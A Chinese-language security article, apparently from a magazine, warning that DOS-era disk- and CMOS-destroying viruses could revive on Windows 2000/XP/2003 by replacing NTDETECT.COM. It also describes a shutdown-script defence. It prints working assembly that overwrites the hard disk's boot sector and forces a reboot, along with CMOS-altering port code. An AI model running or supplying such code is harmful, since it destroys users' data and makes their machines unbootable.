在DOS/Win3.x/Win9x时代,令人谈之色变的病毒数不胜数。有很多病毒具有能够破坏硬盘分区,篡改引导程序,毁坏CMOS数据的能力。它们轻则使磁盘的数据化为乌有,重则使系统无法识别分区,无法进入DOS或者Win9x,甚至还能让微机无法正常启动。不知道当年有多少用户,被臭名昭著的硬盘逻辑锁,CIH折腾得焦头烂额。
然而,幸运的是,进入Win2000/XP/2003时代以后,由于系统是工作在保护模式之下的,对于一切调用BIOS中断功能以修改硬盘或者是直接对硬件端口进行操作的程序,系统都拒绝执行。比如说这样一个16位程序(名为test1.com,初始指令指针为0x100):
mov ax,301
mov bx,300
mov cx,9
mov dx,80
int 13
ret
(上面代码中的数据均为16进制数)
它试图利用BIOS的磁盘控制中断功能直接对硬盘进行写操作,一旦在Win2000/XP/2003下运行,系统会弹出这一个错误信息。(有兴趣的自己可以把文件保存成test.com,运行一下试试)
此时,无论是点击“关闭”,还是点击“忽略”,这个程序对BIOS功能调用的尝试都会被系统强行终止。而在DOS/Win3.x/Win9x时代,那些破坏硬盘分区、篡改引导程序之类的病毒,往往会调用前文中test1.com所调用的磁盘控制BIOS功能。因此这些病毒如果直接运行在Win2000/XP/2003系统之上,它们将会无功而返。
再比如,这样一个32位程序(名叫port.c用VC++编译后生成port.exe):
#include<stdio.h>
main()
{
printf("It is only for test!\n");
__asm
{
push eax
mov al,4
out 0x70,al
mov al,1
out 0x71,al
mov al,2
out 0x70,al
mov al,2
out 0x71,al
mov al,0
out 0x70,al
mov al,3
out 0x71,al
pop eax
}
return 0;
}
它试图通过直接进行端口操作来修改CMOS的时间(如果运行成功,时间将被改为01:02:03)。一旦在Win2000/XP/2003下运行,系统会弹出这样一个报错提示。(有兴趣的自己可以把文件保存成test.com,运行一下试试)
可以看出它试图修改CMOS的举动也同样被拒绝了。因此,那些在老系统中通过端口操作来毁坏CMOS数据的病毒在新系统下只能望“窗”兴叹了。
看来这类直接破坏硬盘、CMOS的病毒在Win2000/XP/2003下真是过时了。而现在主流的操作系统正是Win2000/XP/2003,大家似乎不用再害怕这些DOS/Win3.x/Win9x病毒了。
看到这儿一定会有人情不自禁地说:这些病毒老矣,没用了!不过别高兴的太早了!在特定的情况下,这些能够破坏硬盘、CMOS数据的病毒的功能可以再现于在Win2000/XP/2003系统,完成其害人的勾当。所以本文提醒大家:警惕这些病毒死灰复燃!
那么读者一定会问,刚才不是说Win2000/XP/2003是工作在保护模式下的吗?怎么会怕这种能够破坏硬盘、CMOS数据的病毒呢?没错,在Win2000/XP/2003启动完成之后,的确工作在保护模式下,但在刚开始启动时有一个短暂的“危险期”。此时,Win2000/XP/2003会首先加载C:\Ntldr,加载完成后会出现供用户选择系统的画面(如果不是多系统,该画面会很快跳过)。
当用户在自己选定的Win2000/XP/2003系统上按下回车后,系统会加载C:\NTDETECT.COM文件(如果不是多系统,则Windows不等用户按回车自动加载C:\NTDETECT.COM文件)。问题恰恰出在这里。在刚启动到如图3所示的时候,系统还没有进入保护模式,如果恶意破坏硬盘、CMOS数据的程序在这个时候运行,那用户就遭殃了。这绝非杞人忧天之虑,虽然这个时候无论是远程还是本地都无法随意运行程序,但是,如果用户新近上网时不慎被病毒用一个同样叫NTDETECT.COM的恶意程序覆盖了C盘下正常的NTDETECT.COM文件,那么当下次启动Windows,进入供用户选择系统的画面,选择了进入某个Win2000/XP/2003系统时,只要他一按回车,那个恶意的NTDETECT.COM就会运行。
下面举个例子:
比如说这样一个代码(设定初始指令指针为0x100):
lea bx,[300]
mov dl,2
mov cl,ff
mov dh,0
mov [bx],dh
inc bx
dec cl
cmp cl,0
jnz 108
dec dl
cmp dl,0
jnz 106
mov ax,301
mov bx,300
mov cx,1
mov dx,80
int 13
jmp ffff:0
ret
(上面程序中的数据均为16进制数)
它试图用一些垃圾数据来覆盖硬盘最重要的扇区。如果用它生成了bin格式的可执行程序并且命名为NTDETECT.COM,并通过某种途径用此程序将正常的C:\NTDETECT.COM覆盖;那么启动时便会被加载,接下来系统会自动重启,之后用户就无法从硬盘启动,用其他介质启动也无法访问硬盘。
如果含有直接破坏硬盘,修改CMOS数据之类的恶意代码的病毒用这样一种方法攻击系统,那么它们这些过了时的恶意代码便可以在Win2000/XP/2003系统下重出江湖了这个安全隐患虽然不明显,但绝对有可能带来毁灭性的后果。不过,常言道:魔高一尺、道高一丈,这种病毒再厉害也能对付它!
下面就介绍一种方法:
首先,将正常的NTDETECT.COM备份在一个安全的目录下(这里将它备份在d:\tmp里)。
然后用快捷键“Win”(“ctrl”与“alt”中间那个键)+“R”打开运行(或者开始-运行),并在其中输入gpedit.msc。回车确认后,“组策略”将被打开。
选中“计算机配置”—> “Windows设置”—> “脚本(启动/关闭)”这一项,在右边双击“关机”,之后会出现图1:
图 1
选择添加,然后输入脚本名(此处是shut.bat)。
图 2
在出现图7时点“浏览”,再在出现的对话框中将文件类型选为所有类型,再右击对话框的空白处,新建一个文本文档(如图3)
图 3
再将新建文件命名为shut.bat,接下来右击shut.bat,选择编辑。之后按图4编辑shut.bat:
图 4
最后保存退出。另外顺便说一下,在命名新建的文档文本(图3后面的操作)之前,一定要在“文件夹选项”—>“查看”中把
“隐藏已知文件类型扩展名”这一项前面的勾去掉(如图5)。
图 5
这样一来,每次关机时系统都会用一个正常的NTDETECT.COM来覆盖C盘下的原文件。因此,即使用户在线时,正常的NTDETECT.COM被恶意代码所覆盖,关机时正常的程序会被还原,下次启动时就不存在恶意代码问题了。
Win2000/XP/2003虽然工作在保护模式下,但依然会受到那些在DOS/Win3.x/Win9x时代病毒的威胁,死灰复燃的病毒仍旧具有很大的杀伤力,大家应该随时保持警惕。
后记:
前一段时间,网上流行过一种名为:NTDETECT.EXE的病毒。这种病毒会进入C盘根目录并形成一个NTDETECT.EXE文件;而在默认情况下,Windows系统是不显示扩展名的(就是把NTDETECT.EXE以及NTDETECT.COM都显示为NTDETECT),如此一来,这个病毒就伪装成了系统文件(用户在C盘下会看到两个NTDETECT文件,NTDETECT.EXE就伪装成了NTDETECT.COM),那么在用户不知情的情况下,它被删除的概率就大大降低了。
见到这个病毒,笔者不禁猜想:假如病毒不是用NTDETECT.EXE来伪装成NTDETECT.COM,而是用名为NTDETECT.COM的恶意代码直接覆盖了原有的NTDETECT.COM那会怎样呢?那后果真是不堪设想,所以笔者想通过本文来提醒大家。(作者单位 北京邮电大学电信工程学院)